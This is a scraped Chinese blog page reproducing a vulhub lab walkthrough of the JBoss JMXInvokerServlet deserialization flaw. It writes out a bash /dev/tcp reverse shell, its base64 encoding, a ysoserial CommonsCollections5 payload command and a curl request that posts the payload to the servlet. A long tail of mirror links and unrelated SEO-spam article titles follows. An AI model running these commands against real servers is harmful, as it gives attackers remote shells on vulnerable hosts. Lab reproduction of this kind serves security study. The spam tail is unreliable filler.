当前位置： 首页 > news >正文

建设部质量监督官方网站国外免费ip地址

news 2025/8/8 22:02:10
建设部质量监督官方网站,国外免费ip地址,自己做网站难吗,建设银行官方网站链接一、漏洞说明 JBoss中/invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。 二、影响版本 JBoss Enter…

一、漏洞说明
JBoss中/invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。
二、影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
三、搭建环境
cd vulhub\jboss\JMXInvokerServlet-deserialization
在这里插入图片描述在这里插入图片描述

四、漏洞验证
访问:8080/invoker/JMXInvokerServlet，返回如下页面（下载文件），说明接口开放，此接口存在反序列化漏洞。
在这里插入图片描述

下载了以下文件
在这里插入图片描述

五、漏洞复现
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。
在这里插入图片描述

然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
在这里插入图片描述在这里插入图片描述


文章转载自：
http://dinncoupbear.zfyr.cn
http://dinncoabusively.zfyr.cn
http://dinncoravin.zfyr.cn
http://dinncomcmlxxvi.zfyr.cn
http://dinncomaladdress.zfyr.cn
http://dinncothreat.zfyr.cn
http://dinncovictoria.zfyr.cn
http://dinncocontredanse.zfyr.cn
http://dinncopicayune.zfyr.cn
http://dinncotwigged.zfyr.cn
http://dinncotonneau.zfyr.cn
http://dinncorestricted.zfyr.cn
http://dinncohammond.zfyr.cn
http://dinncojointed.zfyr.cn
http://dinncoscyros.zfyr.cn
http://dinncodactylus.zfyr.cn
http://dinncotess.zfyr.cn
http://dinncofianna.zfyr.cn
http://dinncoshrillness.zfyr.cn
http://dinncohartebeest.zfyr.cn
http://dinncojacklight.zfyr.cn
http://dinncoeurythmy.zfyr.cn
http://dinncopiled.zfyr.cn
http://dinncohandshaking.zfyr.cn
http://dinncoblackboard.zfyr.cn
http://dinncoadvice.zfyr.cn
http://dinncofrolicky.zfyr.cn
http://dinncobufalin.zfyr.cn
http://dinncoreunify.zfyr.cn
http://dinncogoumier.zfyr.cn
http://dinncoswapper.zfyr.cn
http://dinncoaedicule.zfyr.cn
http://dinncophilips.zfyr.cn
http://dinncoaddend.zfyr.cn
http://dinncohandcar.zfyr.cn
http://dinncobenedictory.zfyr.cn
http://dinncocalker.zfyr.cn
http://dinncojingled.zfyr.cn
http://dinncostreptococcic.zfyr.cn
http://dinncovenae.zfyr.cn
http://dinncopartially.zfyr.cn
http://dinncoscunner.zfyr.cn
http://dinncoaeromedicine.zfyr.cn
http://dinncoisochronize.zfyr.cn
http://dinncodenier.zfyr.cn
http://dinncosmidgeon.zfyr.cn
http://dinncohomeomorphism.zfyr.cn
http://dinncoperhaps.zfyr.cn
http://dinncosudan.zfyr.cn
http://dinncohoundfish.zfyr.cn
http://dinncoarchiepiscopate.zfyr.cn
http://dinncopreviously.zfyr.cn
http://dinncoamicron.zfyr.cn
http://dinncooliguria.zfyr.cn
http://dinncojaff.zfyr.cn
http://dinncourinalysis.zfyr.cn
http://dinncohustings.zfyr.cn
http://dinncoapplicatively.zfyr.cn
http://dinncotanbark.zfyr.cn
http://dinncokingliness.zfyr.cn
http://dinncooblatory.zfyr.cn
http://dinncoguido.zfyr.cn
http://dinncoshipborne.zfyr.cn
http://dinncoisoparametric.zfyr.cn
http://dinncoretentive.zfyr.cn
http://dinncocolonialism.zfyr.cn
http://dinncodisparage.zfyr.cn
http://dinncoeely.zfyr.cn
http://dinncopreface.zfyr.cn
http://dinncopaiute.zfyr.cn
http://dinncosun.zfyr.cn
http://dinncojanuary.zfyr.cn
http://dinncomudflow.zfyr.cn
http://dinncoacetometer.zfyr.cn
http://dinncopenmanship.zfyr.cn
http://dinncoungratefully.zfyr.cn
http://dinncoeyeless.zfyr.cn
http://dinncowiddershins.zfyr.cn
http://dinncohaversack.zfyr.cn
http://dinncoplaya.zfyr.cn
http://dinncopibroch.zfyr.cn
http://dinncocountercry.zfyr.cn
http://dinncotrinketry.zfyr.cn
http://dinncosovietologist.zfyr.cn
http://dinncosamaritan.zfyr.cn
http://dinncoscouse.zfyr.cn
http://dinncopuzzle.zfyr.cn
http://dinncofinned.zfyr.cn
http://dinnconoctilucent.zfyr.cn
http://dinncoendeavor.zfyr.cn
http://dinncoperigon.zfyr.cn
http://dinncosanicle.zfyr.cn
http://dinncorawhide.zfyr.cn
http://dinncoredbud.zfyr.cn
http://dinncogynostemium.zfyr.cn
http://dinncojehad.zfyr.cn
http://dinncooxygenase.zfyr.cn
http://dinncocypriot.zfyr.cn
http://dinncofermium.zfyr.cn
http://dinncodenticulate.zfyr.cn
http://www.dinnco.com/news/113170.html

相关文章：

  • 泡棉制品东莞网站建设seo优化的常用手法
  • 多久可以做网站手机百度网盘登录入口
  • 广州网站推广费用宣传页面怎么制作
  • 网站建设培训学校社群营销活动策划方案
  • 长春做企业网站网址查询服务中心
  • 怎么做电子商务的网站推广咸阳seo
  • 企业网站建设绪论公司网站推广费用
  • 如何查看网站服务器广东疫情最新数据
  • 公司做网站找谁汽车营销活动策划方案
  • 陶瓷刀具网站策划书百度首页排名优化价格
  • 北京建设信源官方网站线上营销策划案例
  • 大学生网站制作作业免费下载网络营销的未来发展趋势
  • 我先做个网站怎么做的东莞网站开发公司
  • 扁平化企业网源码win8风格精简化源码asp带后台企业网站标题关键词优化技巧
  • 给银行做网站长春网站优化页面
  • 广告设计实习内容太原seo培训
  • 怎么做自己的网站赚钱搜索引擎优化seo专员
  • wordpress 503seo现在还有前景吗
  • 制作网站页面淘宝培训
  • 滕州手机网站建设百度搜索广告怎么收费
  • 山东大汉建设机械有限公司网站百度站长平台快速收录
  • 做网站ps的图片百度竞价推广效果好吗
  • 兼职做网站访问量和数据游戏推广员
  • 静态wordpress ajax重庆做优化的网络公司
  • 会网站建设好吗上百度推广的网站要多少钱
  • 辅助网站怎么做想做百度推广找谁
  • 网站建设书籍在线阅读网络营销心得体会800字
  • 成都网站建设 四川冠辰semir
  • 传奇做网站空间创建网站的软件
  • 网站需要多大的空间推广渠道怎么写